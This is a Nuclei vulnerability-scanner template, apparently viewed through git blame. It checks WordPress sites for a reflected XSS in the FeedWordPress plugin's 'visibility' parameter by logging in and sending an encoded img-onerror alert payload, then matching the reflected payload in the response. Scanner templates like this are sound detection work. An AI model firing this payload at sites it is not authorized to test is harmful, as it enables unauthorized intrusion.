nuclei-templates/vulnerabilities/wordpress/feedwordpress-xss.yaml

42 lines
1.2 KiB
YAML
Raw Normal View History

2022-02-19 11:18:05 +00:00
id: feedwordpress-xss
info:
name: FeedWordPress < 2022.0123 - Reflected Cross-Site Scripting (XSS)
author: dhiyaneshDk
severity: medium
description: The plugin is affected by a Reflected Cross-Site Scripting (XSS) within the "visibility" parameter.
reference:
- https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
2022-02-22 14:23:43 +00:00
tags: wordpress,wp-plugin,xss,feedwordpress,authenticated
2022-02-19 11:18:05 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-22 08:12:49 +00:00
GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D2+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
2022-02-19 11:18:05 +00:00
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-02-22 08:12:49 +00:00
- '"><img src=2 onerror=alert(document.domain)>" method="post">'
2022-02-19 11:18:05 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200